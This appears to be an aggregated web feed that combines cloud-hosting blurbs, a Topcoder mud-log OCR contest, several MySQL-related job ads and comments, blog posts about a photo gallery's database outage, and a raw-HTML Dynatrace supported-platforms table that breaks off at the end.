Rackspace delivers up to a 100% Production Platform Uptime Guarantee
  • Ultra Secure
Leverage our PCI-DSS compliance and security experts
  • Lightning Fast
Run your online store on one of the world's fastest CDN networks

Pricing
Their plans usually start from $50/month for Public Cloud and $150/month for Cloud Site hosting.

Features
  • Get a Server Running in Seconds
Deploy a Linux virtual server in seconds from the Linode Cloud. Choose your resources, Linux distro, and node location right from the Manager.
  • Simple and Easy Control Panel
The Linode Manager gets your jobs done. Our straightforward interface allows you to deploy, boot, resize and clone in just a few clicks.
  • Drool-Worthy Hardware
SSD Storage with 40Gbit Network and Intel E5 Processors
Go Grid
GoGrid is a cloud infrastructure service, hosting Linux and Windows virtual machines managed by a multi-server control panel and a RESTful AP.
Media temple
Media Temple is a website hosting and cloud hosting provider, which focuses on web designers, developers and creative agencies

          Quartz Energy Mud Log OCR Show Reporting   

According to Wikipedia, “Mud logging is the creation of a detailed record (well log) of a borehole by examining the cuttings of rock brought to the surface by the circulating drilling medium (most commonly drilling mud).”  Quartz Energy has provided Topcoder with a set of mud logs and we’re developing an application to extract structured meaning from these records.  The documents are very interesting -- they are even oil-well shaped!  You can read more details about them here.  The mud log image...


Platforms: Other / Linux
Technologies: MySQL / Python
Prize: 2250 (1500)
Registration Period: 2017-06-29 00:01 +00:00 - 2017-07-06 00:01 +00:00
Open for registration: Yes
Submissions Due: 2017-07-06 00:02 +00:00
Type: Code / develop

          Automation Engineer - IPsoft - Canada   
Nagios, MySQL, Java, Perl (or PHP), application servers (Tomcat, JBoss, Weblogic, Websphere, ATG, Resin). No engineer wants to tighten the same bolt over and...
From IPsoft - Thu, 11 May 2017 17:28:09 GMT - View all Canada jobs
          PaaS lets you pick the right tool for the job, without having to worry about the additional operational complexity   
In a recent blog post, Dan McKinley explains “Why MongoDB Never Worked Out at Etsy“. In short, the usefulness of using MongoDB in addition to their existing MySQL didn’t justify the additional operational complexity of managing another infrastructure service. This … Continue reading
          Assignment(Quiz) by tharunrajn   
Its actually a school test, objective 36 questions(choose the correct answers) the exam is on HTML5, CSS and JavaScript,MEAN Stack – MongoDB/MySQL, Express.js, AngularJS, and Node.js (Budget: ₹1500 - ₹12500 INR, Jobs: Angular.js, CSS, Express JS, HTML5, Javascript)
          (USA-WA-Seattle) Senior Software Engineer   
Comcast Technology Solutions' purpose is to be the most valued partner to those leading the future of media and technology\. Leveraging the most complete portfolio of capabilities, unmatched expertise and Comcast's unrivaled infrastructure, we help customers thrive in a rapidly evolving multi\-platform world by powering extraordinary experiences to every screen\. If you share a passion for contributing your talents to empowered teams, possess an entrepreneurial spirit and are driven by imagination and possibilities, we want to develop and grow your career at Comcast Technology Solutions\. The Workflow Services team is looking for a driven, team\-oriented senior engineer with proven experience in delivering resilient and scalable web services implementations\. This role is roughly 80% development and 20% technical leadership and mentoring\. We embrace Lean, Agile and DevOps philosophies and have years of demonstrable success in our industry\. Career growth opportunities for this role include technical or leadership tracks\. Core Responsibilities: Collaborate with technical program management, leadership and other engineers to architect, design, scope, estimate, implement and test product features\. Ensure products meet their SLAs; participate in resolution of production outages as needed\. Identify, capture and advocate for practical investments in technical debt\. Stay abreast of industry best practices and actively contribute to continuous improvement\. Provide technical mentorship to less senior engineers\. Requirements: Demonstrable mastery of software engineering and testing disciplines\. Minimum 7\-10 years programming experience with Java or similar programming languages and strong knowledge of design patterns\. Minimum 2\-3 years with MySQL or similar RDBMS\. Proficiency with the design, implementation and operation of service oriented architectures in a production environment\. Experience with Spring Framework, Hibernate, Docker, Maven and TeamCity a plus\. Comcast is an EOE/Veterans/Disabled/LGBT employer
          (USA-WA-Kirkland) Analyst 2, Advertising Research   
Comcast Spotlight, the advertising sales division of Comcast Cable, helps put the power of cable to use for local, regional and national advertisers\. It is focused on providing multi\-platform marketing solutions to reach audiences most effectively and efficiently\. Headquartered in New York with offices throughout the country, Comcast Spotlight has a presence in nearly 80 markets with approximately 35 million owned and represented subscribers\. Comcast Spotlight offers clients easy\-to\-buy, easy\-to\-execute options customized around their business goals\. We work with clients to provide them with customized, multi\-screen media marketing solutions that utilize our suite of products in the way that's best suited to meet their objectives\. Our media solutions provide advertisers with the ability to reach, engage and connect with their customers viewing content on any device or screen\. **Job Summary** : Comcast Spotlight is looking for an enthusiastic, driven and intellectually curious individual to join our research team\. Partners with multiple teams of advertising sales and research professionals to compile and translate market research into insightful, compelling sales stories that strategically position the value of Comcast Spotlight's suite of marketing solutions\. Has the ability to translate complex findings into simple reports and presentations and understands advertising research data, standards, and practices\. The successful candidate will be able to look beyond "what" an analysis shows with a strong desire to discover the "why"\. **Core Responsibilities:** \- Demonstrates proficiency in accurately compiling and analyzing large amounts of qualitative and quantitative information/data using appropriate software from all research tools that support Spotlight's suite of products, with a particular focus on assigned areas of expertise\. \- Researches market conditions specific to area of focus to determine potential sales of a product and provides research on behalf of the customer\. \- Identify and address complex issues \(conflicting data, client objections, industry trends, etc\.\) and offer solutions to both internal and external stakeholders\. \- Prepares and submits statistical reports, graphic illustrations of findings, and action plan recommendations to marketing sales management\. \- Understands and practices various statistical concepts, research data, standards, and practices\. \- Gathers data on competitors; analyzes and compares such competitive factors utilizing sales research tools, resources & methodology such as Strata, Kantar, Polk and Comscore\. \- Applies proficient understanding of the selling process and strategic use of qualitative and quantitative research tools\. \- Ability to find standard or custom solutions for current and potential customer key marketing challenges and having the ability to articulate those solutions to clients\. \- Leverages core sales materials to customize support for strategic account planning and business development for key accounts with preparation of analyses and client materials\. \- Conduct effective and comprehensive information searches as needed from research tools that support a client\-focused approach to Spotlight's multi\-screen product offerings for appropriate clients\. \- Participates in the strategic account planning, key account meetings and participates in client calls to position research in markets for which they are responsible\. \- Some travel required to sales offices\. **Additional Responsibilities:** \- Works effectively with cross\-functional teams and department leadership to create research presentations and summaries\. \- Assists Analysts in developing research skills\. \- Regular, consistent and punctual attendance\. \- Must be able to work nights and weekends, variable schedule\(s\) as necessary\. \- Consistent exercise of independent judgment and discretion in matters of significance\. \- Works with moderate guidance in own area of knowledge\. \- Other duties and responsibilities as assigned\. **Job Specification:** \- Minimum Bachelor's Degree or Equivalent\. \- Generally requires 2\-5 years related experience \- High level of proficiency with MS Office Applications \(Excel & PowerPoint\); \- Experience working with audience measurement tools \(Nielsen, ComScore, Strata View, etc\.\) and/or syndicated data \(Scarborough, Experian, Polk, Kantar, etc\.\) \- Understands fundamentals media measurement, research and local cable advertising\. \- Background creating compelling stories that drive sales strategy using various sources of data\. \- Ability to analyze and translate data\-based findings into clear, relevant and actionable insights\. \- Solid presentation skills\. **Desirable Skills:** \- Experience with Digital Video / TV metrics and familiarity with how TV media buying works\. \- Experience with R, MySQL, Looker, Python, or VBA a plus, but not required\. \- Curiosity and deep desire to learn\. Comcast is an EOE/Veterans/Disabled/LGBT employer
          Comment on Assign a consecutive number to each row in a mySQL table by jadi   
Heh. That's sliiiiick!
          Comment on Assign a consecutive number to each row in a mySQL table by Eda   
Thank you for sharing this! Exactly what I was looking for.
          Hotel : ابزاری برای ایجاد Localhost مجزا برای هر پروژه   
هر توسعه دهنده وب به سرور محلی برای توسعه و تست برنامه هایی که می نویسد نیاز دارد.تنطیمات این سرور ها می تواند از PHP/MySQL تا موارد پیچیده مثل Rails, MongoDB و Node.js گسترده باشد. بوسیله Hotel، شما می توانید محیط های توسعه مجزایی را با تنظیمات و امکانات مجزا برای هر پروژه ، فقط روی یک کامپیوتر ایجاد کنید که امکانی فوق العاده برای کاربران تازه کار و حرفه ای می باشد. Hotel همچنین همه سیستم عامل ها را پشتیبانی می کند از ویندوز تا مک و توزیع های مختلف لینوکس. و نیز از طریق خط فرمان اجرا می شود.
          IT Infrastruktúra mérnök munkakörbe keresünk munkatársat. | Feladatok: Munkatársaid támogatása ...   
IT Infrastruktúra mérnök munkakörbe keresünk munkatársat. | Feladatok: Munkatársaid támogatása Hardware és Software oldalról • IT rendszerek folyamatos működésének biztosítása, üzemeltetése • Az iroda teljes infrastrukturális átvizsgálása • Szerverek és hálózatok lecserélése, karbantartása, javítása • Internetes hálózat folyamatos monitorozása • Backup szerverek, adatbázisok biztosítása • Hozzátartozó projektek lekövetése, irányítása • Tűzfalak folyamatos figyelése, karbantatása • Junior kollégák mentorálása és segítése. | Mit ajánlunk: Egy munkahelyet, ahol az ötletek és hobbik főszerepet kapnak, mottó: ?Value people!? • Lehetőséget, hogy másokon is segíthess a Volunteer Program keretein belül • Szabadon választhatsz tréningek és oktatások közül, amit a cég támogat, házon belüli tudásmegosztási rendszerrel • Olyan irodát, amire mindig is vágyódtál, modern és otthonos környezetben, tetőterasszal, zuhanyzókkal, grillezővel, puha padlószőnyeggel, clean desk policy és dresscode nélkül : • Olyan csapatot, akik nem csak ultra Star Wars fanok, hanem imádnak focizni, sütögetni, szórako zni és összetartani • Egy céget, ahol nem csak az ott dolgozókat jutalmazzák különböző programokkal, hanem családjaikat. Legyen az wellness hétvége vagy egy családi nap. Éppen ezért rugalmas munkavégzéssel jár, stressz mentes környezetben SLA-k nélkül | Elvárások: Shell scripting és Linux ismeret .deb és .rpm oldal • Alapvető hálózati és protokoll ismeretek DNS, DCP, HTTP, FTP • Minőségi Wifi hálózat üzemeltetésében és kiépítésében szerzett tapasztalat • Apache és MySQL karbantartási ismeret • Monitoring szoftverek telepítése, beüzemelése • Nagios, VMware és XenServer, Asterisk ismerete az előnyöd is lehet | További infó és jelentkezés itt: www.profession.hu/allas/1042814
          Commentaires sur Ce qui ne va pas dans data.bnf.fr par B. Majour   
Oui, ça se confirme bien. "Mysql: Case-insensitive matching is probably more efficient than the SPARQL default case-sensitive search." https://github.com/ontop/ontop/wiki/Regex-SPARQL-filter B. Majour
          Splash Page Still Down   
I recently got off the phone with my hosting company out in Utah, and my server/MySQL problem has reached higher levels at tech support. Problem with the lastest upgrade of MySQL that has caused the problem. I won't bore you with the details.

As for the website, you can still visit the links on this blog site or the links directly on Gr8tFate.com, but no access to the splash page. So sorry. We won't be uploading any new pictures until the server issue is resolved. Good news is when we're back up and running, we'll have thousands of photos to upload, especially because we will be adding a few more popular female celebrities. We won't say who, in hopes of you checking back later.

We're also contemplating posting smaller galleries of other female celebrities [but still in HQ] on our Wordpress software on our main website, to test out load speeds, functionality and layout. We've looked at other photo software we can host other than Coppermine, but although Coppermine's PHP software has a slow load time, the overall functionality is still far more superior than others we've checked out recently.

We'll keep you updated with any new news, and we apologize for the poor user experience we're providing at the moment.
          Splash Page Down for Photogallery   
You can access all the links on our right side bar of this website to view each celebrity photo gallery, but ran into issues last night with the splash page. You can also use the "search" in the gallery to help you find the celebrity you're looking for, just an fyi. Working on repairing it, may take until Tuesday. Sorry for the inconvenience.

*Update*
Hopefully I'll have the splash page up before Monday afternoon, California time. A little MySQL error I gotta fix with the hosting company I'm using. You gotta love running databases!
          Which environments and versions does Dynatrace support?   
<div class="callout"> <p>In addition to software and hardware requirements, this page lists all environments, technologies, and versions that can be monitored with Dynatrace. This list is continuously growing, so please check back often.</p> <p>Use the <strong>On this page</strong> links on the right to jump to the information you&#x2019;re looking for.</p> </div> <h2 id="infrastructure-and-cloud">Infrastructure and cloud</h2><h3 id="operating-systems">Operating systems</h3><h4 id="dynatrace-oneagent">Dynatrace OneAgent</h4><table> <thead> <tr> <th>Operating system</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Windows Server</td> <td>2008, 2008 R2, 2012, 2012 R2, 2016</td> </tr> <tr> <td>Windows</td> <td>7, 8, 8.1, 10 (64 bit)</td> </tr> <tr> <td>Red Hat Enterprise Linux</td> <td>5 (without SELinux), 6.1+</td> </tr> <tr> <td>CentOS</td> <td>6+</td> </tr> <tr> <td>Ubuntu</td> <td>12.04+</td> </tr> <tr> <td>openSUSE</td> <td>12+</td> </tr> <tr> <td>Debian</td> <td>6+</td> </tr> <tr> <td>Fedora</td> <td>20+</td> </tr> <tr> <td>IBM AIX for Java and IBM HTTP Server (currently in Beta)</td> <td>7.1, 7.2</td> </tr> <tr> <td>Amazon Linux</td> </tr> <tr> <td>CoreOS</td> <td></td> </tr> <tr> <td>SUSE Enterprise Linux</td> <td>12+</td> </tr> <tr> <td>Compatible with any standards-compliant x86_64 distribution based on glibc 2.5+</td> </tr> </tbody> </table> <h4 id="security-gateway">Security Gateway</h4><p>64 bit physical or virtual host (no container) required</p> <table> <thead> <tr> <th>Operating system</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Windows Server</td> <td>2008, 2008 R2, 2012, 2012 R2</td> </tr> <tr> <td>Windows</td> <td>7, 8, 8.1,10</td> </tr> <tr> <td>Red Hat Enterprise Linux</td> <td>6+</td> </tr> <tr> <td>Ubuntu</td> <td>12.04+</td> </tr> <tr> <td>openSUSE</td> <td>13</td> </tr> </tbody> </table> <h4 id="dynatrace-managed-server1">Dynatrace Managed Server<sup>1</sup></h4><p>64 bit physical or virtual host (no container) required</p> <table> <thead> <tr> <th>Operating system</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Red Hat Enterprise Linux</td> <td>6+</td> </tr> <tr> <td>CentOS</td> <td>6+</td> </tr> <tr> <td>Ubuntu</td> <td>12.04+</td> </tr> <tr> <td>openSUSE</td> <td>12.3+</td> </tr> <tr> <td>SUSE Enterprise Linux</td> </tr> </tbody> </table> <p><sup>1</sup>Dynatrace Managed installations only</p> <h3 id="networks">Networks</h3><h4 id="network-interface-requirements">Network interface requirements</h4><ul> <li>IEEE 802.3 Ethernet, IEEE 802.11 Wireless LAN, OpenVZ virtual network device (venet)</li> <li>Physical or virtual NIC with assigned (no link-local) IP address</li> <li>Virtual Ethernet bridge interface is not supported</li> <li>Network interface bonding is supported</li> </ul> <h4 id="protocols">Protocols</h4><ul> <li>TCP/IPv4</li> <li>TCP/IPv6 without extension headers</li> </ul> <h3 id="virtualization">Virtualization</h3><h4 id="monitoring">Monitoring</h4><table> <thead> <tr> <th>VMware</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>vCenter server</td> <td>5.x, 6.0, 6.5</td> </tr> <tr> <td>ESXi host</td> <td>5.x, 6.0, 6.5</td> </tr> </tbody> </table> <h4 id="detection">Detection</h4><ul> <li>Xen</li> <li>KVM</li> <li>Hyper-V</li> </ul> <h3 id="cloud">Cloud</h3><h4 id="monitoring-1">Monitoring</h4><table> <thead> <tr> <th>Amazon Web Services (AWS)</th> </tr> </thead> <tbody> <tr> <td>Elastic Compute Cloud (EC2)</td> </tr> <tr> <td>Elastic Block Store (EBS)</td> </tr> <tr> <td>Elastic Load Balancing (ELB)</td> </tr> <tr> <td>Relational Database Service (RDS)</td> </tr> <tr> <td>Simple Storage Service (S3)</td> </tr> <tr> <td>DynamoDB</td> </tr> <tr> <td>Lambda</td> </tr> </tbody> </table> <h4 id="detection-1">Detection</h4><ul> <li>OpenStack</li> <li>Oracle Cloud</li> <li>Microsoft Azure</li> </ul> <h3 id="paas">PaaS</h3><h4 id="azure">Azure</h4><ul> <li><a href="/infrastructure-monitoring/paas/how-do-i-monitor-microsoft-azure-web-apps/">Azure Web Sites extension</a></li> <li><a href="/infrastructure-monitoring/paas/how-do-i-deploy-oneagent-to-azure-compute-vms/">Azure VM extension</a></li> <li><a href="/infrastructure-monitoring/paas/how-to-monitor-azure-service-fabric-applications/">Azure Service Fabric</a></li> </ul> <h4 id="cloud-foundry">Cloud Foundry</h4><table> <thead> <tr> <th>Feature</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Java buildpack</td> <td>3.11+</td> </tr> <tr> <td>IBM WebSphere Liberty buildpack</td> <td>v3.9-20170419-1403+</td> </tr> <tr> <td>PHP buildpack</td> <td>v4.3.34+</td> </tr> <tr> <td>Staticfile buildpack</td> <td>v1.4.6+</td> </tr> </tbody> </table> <h3 id="docker">Docker</h3><table> <thead> <tr> <th>Feature</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Deep monitoring</td> <td>1.6+ (32 and 64 bit) glibc or musl-libc required</td> </tr> <tr> <td>Docker containers plugin</td> <td>1.8, 1.9, 1.10, 1.11, 1.12, 1.13 RC2, 1.13.1</td> </tr> <tr> <td>Kubernetes</td> <td>1.3.1 - 1.5.3 supported by all OneAgent versions, 1.5.4 - 1.6.2 supported by OneAgent versions 121+</td> </tr> </tbody> </table> <p><strong>Note</strong>: Dynatrace doesn&#x2019;t support Docker monitoring for Windows when OneAgent is installed on a Windows host.</p> <p><a name="applications-services--databases"></a></p> <h2 id="applications-services--databases">Applications, services, &amp; databases</h2><p>Looking for <a href="#net">.NET</a>, <a href="#php">PHP</a>, or <a href="#nodejs">Node.js</a>?</p> <h3 id="java-and-scala">Java and Scala</h3><table> <thead> <tr> <th>Virtual machines</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Oracle Hotspot</td> <td>5, 6, 7, 8</td> </tr> <tr> <td>Oracle JRockit</td> <td>6</td> </tr> <tr> <td>OpenJDK</td> <td>6, 7, 8</td> </tr> <tr> <td>IBM J9</td> <td>6, 7, 8</td> </tr> <tr> <td>SAP JVM</td> <td>6, 7, 8</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Application servers</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Apache Tomcat</td> <td>6, 7, 8</td> </tr> <tr> <td>Apache TomEE</td> <td>1.6</td> </tr> <tr> <td>Jetty</td> <td>7, 8, 9</td> </tr> <tr> <td>IBM WebSphere Application Server</td> <td>8, 8.5, 8.5.5</td> </tr> <tr> <td>Oracle WebLogic</td> <td>11g, 12c</td> </tr> <tr> <td>JBoss Application Server</td> <td>6, 7</td> </tr> <tr> <td>JBoss Enterprise Application Platform</td> <td>6</td> </tr> <tr> <td>WildFly</td> <td>8, 9, 10</td> </tr> <tr> <td>Glassfish (Linux)</td> <td>3.1.x, 4.x</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Web frameworks</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Servlet Engine</td> <td>2.3, 2.4, 2.5, 3.0, 3.1</td> </tr> <tr> <td>Grails (in servlet container)</td> <td>3.x</td> </tr> <tr> <td>Play Framework</td> <td>2.2, 2.3, 2.4</td> </tr> <tr> <td>Ning Asynchronous HTTP Client</td> <td>1.8, 1.9</td> </tr> <tr> <td>Netty</td> <td>3.10, 4.x</td> </tr> <tr> <td>ElasticSearch</td> <td>1.7, 2.0, 2.1, 2.2</td> </tr> <tr> <td>Vert.x</td> <td>2, 3</td> </tr> <tr> <td>Apache HttpClient</td> <td>3.1, 4.x</td> </tr> <tr> <td>Apache HttpAsyncClient</td> <td>4.0.x, 4.1.x</td> </tr> <tr> <td>Java HttpUrlConnection</td> </tr> <tr> <td>webMethods</td> <td>8.2, 9.0, 9.5</td> </tr> <tr> <td>Mule HTTP Listener</td> <td>3.5, 3.6, 3.7, 3.8</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Web services</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Play WS API</td> <td>2.2, 2.3, 2.4</td> </tr> <tr> <td>JAX-WS</td> <td>2.x</td> </tr> <tr> <td>Apache Axis2</td> <td>1.6</td> </tr> <tr> <td>Apache CXF</td> <td>2.x, 3.x</td> </tr> <tr> <td>Jersey</td> <td>1.x, 2.x</td> </tr> <tr> <td>Spring Web Services</td> <td>2.x</td> </tr> <tr> <td>JBossWS (JBoss AS)</td> <td>4.x (Jboss 7.1)</td> </tr> <tr> <td>JBossWS (Wildfly)</td> <td>4.x (Wildfly 8), 5.x (Wildfly 8, 9, 10)</td> </tr> <tr> <td>REST web services via WINK framework</td> <td>1.2, 1.4</td> </tr> <tr> <td>Restlet WS</td> <td>2.1 - 2.3</td> </tr> <tr> <td>Hessian web services</td> <td>2.1, 3.1, 4.0</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Database frameworks</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td><a href="https://docs.mongodb.org/ecosystem/drivers/java/">MongoDB driver</a></td> <td>2.x, 3.x</td> </tr> <tr> <td><a href="http://mongodb.github.io/mongo-java-driver/3.0/driver-async/">MongoDB Async driver</a></td> <td>3.x</td> </tr> <tr> <td>JDBC</td> <td>all</td> </tr> <tr> <td>Cassandra (Thrift)</td> <td>2.x</td> </tr> <tr> <td>Jedis Redis</td> <td>2.x</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Messaging libraries</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>JMS</td> <td>1.1, 2.0</td> </tr> <tr> <td>Apache ActiveMQ</td> <td>4, 5</td> </tr> <tr> <td>HornetQ</td> <td>2.2, 2.3, 2.4</td> </tr> <tr> <td>RabbitMQ</td> <td>3.x</td> </tr> <tr> <td>IBM WebSphere MQ client</td> <td>7.x, 8.x</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Remoting services</th> </tr> </thead> <tbody> <tr> <td>RMI-IIOP</td> </tr> <tr> <td>RMI-JRMP</td> </tr> <tr> <td>JBoss Remoting</td> </tr> </tbody> </table> <h3 id="net">.NET</h3><p>Dynatrace fully supports .NET applications written in C#. Limited support for .NET applications written in other languages is available, though not explicitly tested.</p> <p>.NET and CLR version combinations:</p> <table> <thead> <tr> <th>.NET Framework</th> <th>CLR</th> </tr> </thead> <tbody> <tr> <td>3.5 SP1</td> <td>Full CLR 2.0</td> </tr> <tr> <td>4.0</td> <td>Full CLR 4.0</td> </tr> <tr> <td>4.5</td> <td>Full CLR 4.0</td> </tr> <tr> <td>4.5.1</td> <td>Full CLR 4.0</td> </tr> <tr> <td>4.5.2</td> <td>Full CLR 4.0</td> </tr> <tr> <td>4.6</td> <td>Full CLR 4.0</td> </tr> <tr> <td>4.6.1</td> <td>Full CLR 4.0</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Web and web service frameworks</th> </tr> </thead> <tbody> <tr> <td>ASP.NET</td> </tr> <tr> <td>ASP.NET Core</td> </tr> <tr> <td>ASP.NET Owin/Katana</td> </tr> <tr> <td>WCF</td> </tr> <tr> <td>Service Fabric Service remoting</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Database frameworks</th> </tr> </thead> <tbody> <tr> <td>ADO.NET</td> </tr> </tbody> </table> <h3 id="nodejs">Node.js</h3><ul> <li>Versions: 0.10, 0.12, 4, 5, 6, 7</li> </ul> <table> <thead> <tr> <th>Web frameworks</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>HTTP, HTTPS</td> <td>built-in</td> </tr> <tr> <td>Express</td> <td>3, 4</td> </tr> <tr> <td><a href="https://www.npmjs.com/package/restify">restify</a></td> <td>2.x</td> </tr> </tbody> </table> <table> <thead> <tr> <th>Database frameworks</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td><a href="https://www.npmjs.com/package/mongodb">MongoDB driver</a></td> <td>1.4.x and 2.x</td> </tr> <tr> <td>Redis</td> <td></td> </tr> <tr> <td>Memcached</td> <td></td> </tr> <tr> <td>SQLite3 (context passing only)</td> </tr> </tbody> </table> <h3 id="php">PHP</h3><ul> <li>Linux (mod_php, FastCGI or PHP-FPM) required</li> <li>Versions: 5.3, 5.4, 5.5, 5.6, 7</li> </ul> <table> <thead> <tr> <th>Database frameworks</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td><a href="http://php.net/manual/en/book.pdo.php">PDO</a></td> <td>built-in</td> </tr> <tr> <td><a href="http://php.net/manual/en/set.mysqlinfo.php">mysql, mysqli</a></td> <td>built-in</td> </tr> </tbody> </table> <ul> <li>All PHP frameworks and PHP-based application platforms, including:<ul> <li>Magento</li> <li>Drupal</li> <li>Joomla</li> <li>WordPress</li> </ul> </li> </ul> <h2 id="web-servers">Web servers</h2><table> <thead> <tr> <th>Server</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Apache HTTP Server</td> <td>2.0 (deprecated), 2.2, 2.4</td> </tr> <tr> <td>Microsoft IIS</td> <td>7.0, 7.5, 8.0, 8.5, 10</td> </tr> <tr> <td>IBM HTTP Server</td> <td>6.0, 7.0, 8.0, 8.5, 9.0</td> </tr> <tr> <td>Oracle HTTP Server</td> <td>11g, 12c</td> </tr> <tr> <td>Nginx</td> <td>Any Linux build that contains debug symbols of the following versions 1.4, 1.6, 1.7, 1.8, 1.9.0-1.9.15, 1.10.0-1.10.3, 1.11.0-1.11.13, 1.12.0, 1.13.0, plus R1-R12. Alternatively, you can use a dedicated <a href="/get-started/reference/supported-nginx-binaries/">supported binary</a> listed below. Note that these binaries don&#x2019;t require debug symbols.</td> </tr> </tbody> </table> <h4 id="list-of-linux-distributions-for-nginx-binaries">List of Linux distributions for Nginx binaries</h4><ul> <li><a href="http://archive.ubuntu.com/">http://archive.ubuntu.com/</a></li> <li><a href="http://archive.webtatic.com/">http://archive.webtatic.com/</a></li> <li><a href="http://dl.fedoraproject.org/">http://dl.fedoraproject.org/</a></li> <li><a href="http://download.opensuse.org/">http://download.opensuse.org/</a></li> <li><a href="http://ftp.debian.org/">http://ftp.debian.org/</a></li> <li><a href="http://nginx.org/">http://nginx.org/</a></li> <li><a href="http://packages.eu-west-1.amazonaws.com/">http://packages.eu-west-1.amazonaws.com/</a></li> <li><a href="http://ppa.launchpad.net/">http://ppa.launchpad.net/</a></li> <li><a href="http://security.debian.org/">http://security.debian.org/</a></li> <li><a href="http://www2.atomicorp.com/">http://www2.atomicorp.com/</a></li> <li><a href="https://archives.dotdeb.org/">https://archives.dotdeb.org/</a></li> <li><a href="https://copr-be.cloud.fedoraproject.org/">https://copr-be.cloud.fedoraproject.org/</a> </li> <li><a href="https://oss-binaries.phusionpassenger.com/">https://oss-binaries.phusionpassenger.com/</a></li> <li><a href="https://packages.dotdeb.org/">https://packages.dotdeb.org/</a></li> <li><a href="https://packages.gitlab.com/">https://packages.gitlab.com/</a></li> <li><a href="https://packages.graylog2.org/">https://packages.graylog2.org/</a></li> <li><a href="https://plus-pkgs.nginx.com/">https://plus-pkgs.nginx.com/</a></li> <li><a href="https://pulp.inuits.eu/">https://pulp.inuits.eu/</a></li> <li><a href="https://repo.webtatic.com/">https://repo.webtatic.com/</a></li> </ul> <h2 id="plugins">Plugins</h2><p><strong>Dynatrace plugins only run on physical or virtual hosts</strong>, not within containers.</p> <table> <thead> <tr> <th>Technology</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>MySQL</td> <td>5.7</td> </tr> <tr> <td>Microsoft SQL Server</td> <td>2008, 2012, 2014</td> </tr> <tr> <td>PostgreSQL</td> <td>9.1+</td> </tr> <tr> <td>MongoDB</td> <td>2.6+</td> </tr> <tr> <td>HAProxy</td> <td>Daemon-mode only (-D option) 1.4, 1.5, 1.6</td> </tr> <tr> <td>Redis</td> <td>2.8+</td> </tr> <tr> <td>Memcached</td> <td>1.4.24+</td> </tr> <tr> <td>RabbitMQ</td> <td>3.4.0+</td> </tr> <tr> <td>Elasticsearch</td> <td>2.3+</td> </tr> <tr> <td>.NET CLR</td> <td></td> </tr> <tr> <td>CouchDB</td> <td>1.5.0+</td> </tr> <tr> <td>Couchbase</td> <td>4.3+</td> </tr> <tr> <td>Hadoop</td> <td>2.4.1+</td> </tr> <tr> <td>Spark</td> <td>1.6</td> </tr> <tr> <td>Cassandra</td> <td>2.0+</td> </tr> <tr> <td>ActiveMQ</td> <td>5.8.0+</td> </tr> </tbody> </table> <h2 id="real-user-monitoring-and-web-checks">Real user monitoring and web checks</h2><h3 id="real-user-monitoring-auto-injection">Real user monitoring auto-injection</h3><ul> <li>Java servlet-based web applications</li> <li>Apache HTTP Server</li> <li>IBM HTTP Server</li> <li>Oracle HTTP Server</li> <li>Microsoft IIS</li> <li>Nginx</li> <li>Node.js</li> </ul> <h3 id="real-user-monitoring-javascript-frameworks">Real user monitoring JavaScript frameworks</h3><table> <thead> <tr> <th>Framework</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>AngularJS</td> <td>1.0 - 1.5</td> </tr> <tr> <td>AngularJS 2</td> <td>2</td> </tr> <tr> <td>Dojo</td> <td>1.6.1 - 1.10.4</td> </tr> <tr> <td>Ext JS</td> <td>3.4, 4, 5, 6.0</td> </tr> <tr> <td>Sencha Touch</td> <td>2.0 - 2.4</td> </tr> <tr> <td>ICEfaces</td> <td>1.8, 2, 3</td> </tr> <tr> <td>jQuery ( Backbone.js )</td> <td>1.3 - 1.11, 2.0 - 2.2, 3.0</td> </tr> <tr> <td>MooTools</td> <td>1.4.6 - 1.5</td> </tr> <tr> <td>Prototype</td> <td>1.6, 1.7</td> </tr> <tr> <td>XMLHttpRequest (XHR)</td> </tr> </tbody> </table> <h3 id="mobile-real-user-monitoring">Mobile real user monitoring</h3><table> <thead> <tr> <th>Operating System</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Android</td> <td>2.2+ (API 8+)</td> </tr> <tr> <td>iOS</td> <td>6+</td> </tr> </tbody> </table> <h2 id="browsers">Browsers</h2><h3 id="real-users">Real users</h3><table> <thead> <tr> <th>Browser</th> <th>Versions</th> </tr> </thead> <tbody> <tr> <td>Microsoft Internet Explorer</td> <td>8+</td> </tr> <tr> <td>Microsoft Edge</td> <td>Latest version</td> </tr> <tr> <td>Mozilla Firefox</td> <td>3 latest versions</td> </tr> <tr> <td>Google Chrome</td> <td>3 latest versions (desktop and mobile)</td> </tr> <tr> <td>Safari</td> <td>3 latest versions (OS X and iOS)</td> </tr> <tr> <td>Android Browser</td> <td>3 latest versions</td> </tr> <tr> <td>Opera</td> <td>2 latest versions</td> </tr> <tr> <td>All modern browsers with JavaScript and cookies enabled</td> </tr> </tbody> </table> <h3 id="synthetic-users">Synthetic users</h3><table> <thead> <tr> <th>Feature</th> <th>Support</th> </tr> </thead> <tbody> <tr> <td>Recorder</td> <td>Google Chrome (latest version, backwards compatible)</td> </tr> <tr> <td>Web check</td> <td>Google Chrome 53</td> </tr> </tbody> </table> <h3 id="dynatrace-web-ui">Dynatrace web UI</h3><table> 